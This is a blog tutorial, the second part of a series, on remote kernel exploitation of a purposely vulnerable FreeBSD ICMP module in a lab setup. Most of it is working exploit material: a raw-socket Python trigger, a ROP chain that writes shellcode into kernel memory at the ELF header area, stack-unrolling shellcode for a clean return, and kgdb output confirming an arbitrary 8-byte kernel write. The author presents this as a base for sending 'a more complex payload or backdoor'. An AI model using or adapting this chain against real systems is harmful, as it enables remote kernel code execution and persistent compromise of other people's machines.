Freebsd kernel stack unrolling and safe return. Part2

Hello Dear Readers.
In this post, I'll talk about the second part of our Freebsd kernel remote exploitation generic exploits. We've been so far completed only the setup for debugging which we'll use on all future kernel exploration.

Interesting things begin with this part and onward. Let's go straight without further long intro words.

To resume our current situation, we have a network kernel modules called
nethook.c
- This modules replace the original ICMP function handler with our own function icmp_input_hook
- icmp_input_hook have some local variable, whose are signatures we'll need
for our exploit later. This function call forwad_icmp.
- forwad_icmp create a 500 bytes buffer. The purpose is to allow us have some
stack space for our ROP gadget. It's also used to demonstrate stack unrolling.
This call process_icmp.
- process_icmp is our main icmp handler. This function has a local kernel stack buffer overflow, icmplen is the total length of the icmp packet from remote endpoint, memcpy will copy all the packet content into datap buffer which is only 80 bytes.

Freebsd kernel has stack cookie protection enabled. The cookie value seems to change only after an overflow is detected. I don't known if this is only for the debugged kernel. I've not checked for a normal kernel without debugging support.

As this post will deal only with a generic exploit, we won't explore how to leak cookie value remotely and this is mainly depend on the type of real bugs.
We assume the cookie values is already know at this point.

In the previous post, I've already talked about how to compile, load and debug the nethook modules. So if you don't sure how to do it, go back to the previous post and check it.

Firstly, we'll need to trigger the vulnerable code remotely.
Here is a small POC written in python.


#!/usr/bin/env python
#-*- coding:utf-8 -*-

import socket
import time
import struct
import datetime

from struct import pack
import sys
import os


def trigger(ip_addr):
    # create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)

    # compose icmp payload
    icmp_s_type = 8 # Echo Request
    icmp_s_code = 0
    icmp_s_id = 1
    icmp_s_seq = 0


    icmp_s_data = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    icmp_s_data += b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"   
    icmp_s_data += b"BBBB"



    icmp_s_payload = struct.pack("!2B2H", icmp_s_type, icmp_s_code, icmp_s_id, icmp_s_seq)
    icmp_s_payload += icmp_s_data

    csum = 32767

    icmp_s_payload = icmp_s_payload[:4] + struct.pack("!h", csum) + icmp_s_payload[4:]


    print len(icmp_s_data)

    # send the icmp packet
    sock.sendto(icmp_s_payload, ip_addr)
    



def main():
    """
    192.168.56.101
    """
    ip_addr = ("192.168.56.101",0)
    
    trigger(ip_addr)

if __name__ == "__main__":
    main()

Breakpoint 1, process_icmp (mp=0xfffffe0000217770, offp=0xfffffe000021776c, proto=1) at nethook.c:61
61          iphlen = *offp;
(kgdb) x/30x 0xfffffe0000217460
0xfffffe0000217460:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffffe0000217470:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffffe0000217480:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffffe0000217490:     0x002174c0      0xfffffe00      0x824192ba      0xffffffff
0xfffffe00002174a0:     0x41414141      0x41414141      0x000001f4      0x00000000
0xfffffe00002174b0:     0x43434343      0x00000000      0xb603102f      0xb2a6dfa7
0xfffffe00002174c0:     0x00217700      0xfffffe00      0x8241926a      0xffffffff
0xfffffe00002174d0:     0x00217500      0xfffffe00
(kgdb) p datap
$2 = 0xfffffe0000217460 'A' <repeats 48 times>, "�t!"
(kgdb) c
Continuing.

Breakpoint 1, process_icmp (mp=0xfffffe0000217770, offp=0xfffffe000021776c, proto=1) at nethook.c:61
61          iphlen = *offp;
(kgdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
kdb_enter (why=0xffffffff8151e266 "panic", msg=<value optimized out>) at /usr/src/sys/kern/subr_kdb.c:479
479                     kdb_why = KDB_WHY_UNSET;
(kgdb)


In the POC 192.168.56.101 the IP address of the target Freebsd server running the nethook modules.

The BBBB overwrite the cookies content. Thus immediately resulting in a kernel panic.
Developing an exploit for this vulnerable modules involve developing several exploits chain to achieve a full remote code executions.

In user space exploit, One may achieve code execution immediately by putting address of the ROP gadgets in the current vulnerable function stack. When the function return it will execute instruction pointed by the ROP address one by one.

As kernel is a very complex beast, achieving RCE in one shot by putting all our payload in one exploit is very challenging, what we have to do is broke our exploit separately, one exploit for one specif goal, another one for a different goal.

For this 2d part, We'll develop an exploit to just allow us overwrite or put 8 bytes payload to an address of our choice remotely. But most importantly, we need to  send another payload among the first to allow us unroll the stack and make the original vulnerable function to return safely without crashing, Thus keeping the kernel running. Note that a crash at this point will result immediately in a panic and the server will reboot.

Here is the stack unroll assembler code. [Payload part 2]

_unroll:
  add rsp, 0x8
  cmp DWORD [rsp], 0xbaaddead
  jne _unroll
  cmp DWORD [rsp + 8], 0xbeefdead
  jne _unroll
  add rsp, 0x28
  pop rbp
  ret

The assembler code for our arbitrary write primitive. [Payload part 1]

mov rax, 0xffffffff80200040
mov rbx, 0x4141414141414141
mov QWORD [rax], rbx

The stack frame look like this.

Stack is not executable anymore, we can't just put shellcode inside the buffer and jump there.
One things we can do is obviously search for candidates ROP gagdet inside the kernel binary. We may use it to make the current stack executable which is pointed by RSP.

In user space, One can do this by calling mprotect. Calling mprotect directly in kernel space may involves lots of works. But in Linux kernel case there is some functions that can be used to achieve the same effect.

I've not found such similar function in the Freebsd kernel. Maybe it's undocumented.

So i choose another way to overcome this problem. The point is we need to find
a writable and executable memory to put the payload in. The memory region must be a safe place otherwise the stability of the OS is broken.

Running kldstat on Freebsd console give:

root@FreeBSD:~ # kldstat 
Id Refs Address            Size     Name
 1    3 0xffffffff80200000 205ce70  kernel
 2    1 0xffffffff82419000 558      nethook.ko
root@FreeBSD:~ # 

The kernel is loaded at 0xffffffff80200000. At this address is stored some ELF headers for the kernel. These headers is generally used by bootloader to correctly load the kernel into memory. So after the kernel booted up. It's not used anymore. We can use this address to store our payload.

Before doing so. Most importantly it's time to search for ROP inside the binary.
Using ROPgadget tools.

[+] Gadget found: 0xffffffff80b19e3f mov qword ptr [rsi], rdx ; pop rbp ; ret
 [+] Gadget found: 0xffffffff8036615e pop rsi ; ret
 [+] Gadget found: 0xffffffff80270178 pop rdx ; ret
 [-] Can't find the 'xor rdx, rdx' gadget. Try with another 'mov [reg], reg'

We'll use these gadgets to move our actual payload wich i presented earlier to 0xffffffff80200000. Once moved, we jump rigth there, The payload will write another payload at some address and it will search for signatures upward in the stack.
And as our nethook modules has the needed signatures in icmp_input_hook function stack. The search will stop there, RSP need to be adjusted and we can return safely to the calling functions.

Our modified exploit look like this.


#!/usr/bin/env python
#-*- coding:utf-8 -*-

import socket
import time
import struct
import datetime

from struct import pack
import sys
import os


_www = b"\x48\x89\x18\x90\x90\x90\x90"

def build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2):
    

    # Moving The 8 bytes write primitive shelllcode to .0xffffffff80200000
    
    payload = b""
    payload += pack("<Q", 0xb2a6dfa7b603102f)   # Stack canary
    payload += pack("<Q", 0x4141414141414141)   #RBP


    
    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    
    payload += mov_addr     # mov rax, addr

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)



    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    

    payload += mov_8bytes_data  # mov rbx, data [mov rbx, 0x4141414141414141]

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)


    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    
    payload += mov_8bytes_data_2   # Rest of data.

    payload += _www  # The www shellcode [mov    QWORD PTR [rax],rbx] Plus some nop.

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)

   

    # Moving Stack unrolling shelllcode.



    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    
    payload += b"\x48\x83\xc4\x08\x81\x3c\x24\xad"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)
    

    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret

    payload += b"\xde\xad\xba\x75\xf3\x81\x7c\x24"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)


    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret

    payload += b"\x08\xad\xde\xef\xbe\x75\xe9\x48"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)

    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret

    payload += b"\x83\xc4\x28\x5d\xc3"
    payload += b"\x90\x90\x90"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)


    payload += pack("<Q", 0xffffffff8025c768)  # pop rax ; ret
    payload += pack("<Q", 0xffffffff80200000)
    payload += pack("<Q", 0xffffffff81534dff)  # jmp rax
    payload += pack("<Q", 0x4141414141414141)
    payload += pack("<Q", 0x4141414141414141)

    return payload


def exploit(ip_addr, mov_addr, mov_8bytes_data, mov_8bytes_data_2):
    # create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)

    # compose icmp payload
    icmp_s_type = 8 # Echo Request
    icmp_s_code = 0
    icmp_s_id = 1
    icmp_s_seq = 0


    icmp_s_data = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    icmp_s_data += b"AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC"   
    icmp_s_data += build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2)


    icmp_s_payload = struct.pack("!2B2H", icmp_s_type, icmp_s_code, icmp_s_id, icmp_s_seq)
    icmp_s_payload += icmp_s_data

    csum = 32767

    icmp_s_payload = icmp_s_payload[:4] + struct.pack("!h", csum) + icmp_s_payload[4:]


    print len(icmp_s_data)

    # send the icmp packet
    sock.sendto(icmp_s_payload, ip_addr)
    



def main():
    """
    192.168.56.101
    """
    ip_addr = ("192.168.56.101",0)

    exploit(ip_addr, b'\x48\xc7\xc0\x40\x00\x20\x80\x48',  b"\xbb\x41\x41\x41\x41\x41\x41\x41", b"\x41")


if __name__ == "__main__":
    main()


After running the exploit. We can inspect the server memory to see if we successfully overwrite the desired memory address.

(kgdb) x/20i 0xffffffff80200000
0xffffffff80200000:     mov    rax,0xffffffff80200040
0xffffffff80200007:     mov    rbx,0x4141414141414141
0xffffffff80200011:     mov    QWORD PTR [rax],rbx
0xffffffff80200014:     nop    
0xffffffff80200015:     nop    
0xffffffff80200016:     nop    
0xffffffff80200017:     nop    
0xffffffff80200018:     add    rsp,0x8
0xffffffff8020001c:     cmp    DWORD PTR [rsp],0xbaaddead
0xffffffff80200023:     jne    0xffffffff80200018
0xffffffff80200025:     cmp    DWORD PTR [rsp+0x8],0xbeefdead
0xffffffff8020002d:     jne    0xffffffff80200018
0xffffffff8020002f:     add    rsp,0x28
0xffffffff80200033:     pop    rbp
0xffffffff80200034:     ret    
0xffffffff80200035:     nop    
0xffffffff80200036:     nop    
0xffffffff80200037:     nop    
0xffffffff80200038:     (bad)  
0xffffffff80200039:     add    BYTE PTR [rax+0x0],al
(kgdb) 


Yes. Our payload is actually stored at the desired address.
The first part allow us write 8 bytes data at 0xffffffff80200040. The second will allow us to keep the kernel continue it's normal execution by returning to the calling functions.


(kgdb) x/xg 0xffffffff80200040
0xffffffff80200040:     0x4141414141414141


We're done with this part. What we've achieved is very important for the next part. We've now an exploit which can be used remotly to sent arbitrary data to an executable kernel memory.
We can use this for sending a more complex payload or backdoor.

Thanks for reading.

Comments